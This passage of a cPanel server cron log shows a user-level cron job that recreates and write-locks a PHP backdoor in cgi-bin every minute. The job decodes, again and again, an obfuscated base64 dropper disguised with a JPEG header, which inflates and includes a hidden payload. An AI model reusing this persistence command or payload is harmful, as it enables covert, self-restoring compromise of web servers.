0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:06:01 server CROND[27349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:07:01 server CROND[27402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:08:01 server CROND[27450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:09:01 server CROND[27598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:09:01 server CROND[27599]: (root) CMD (/usr/sbin/csf -u)
Apr  9 11:09:01 server CROND[27600]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 11:10:01 server CROND[27680]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 11:10:01 server CROND[27681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:10:01 server CROND[27682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:10:01 server CROND[27683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:11:01 server CROND[27793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:12:01 server CROND[27846]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 11:12:01 server CROND[27847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:13:01 server CROND[27955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:14:01 server CROND[28121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:15:01 server CROND[28169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:15:01 server CROND[28170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:15:01 server CROND[28171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:16:01 server CROND[28275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:17:01 server CROND[28338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:18:01 server CROND[28392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:19:01 server CROND[28445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 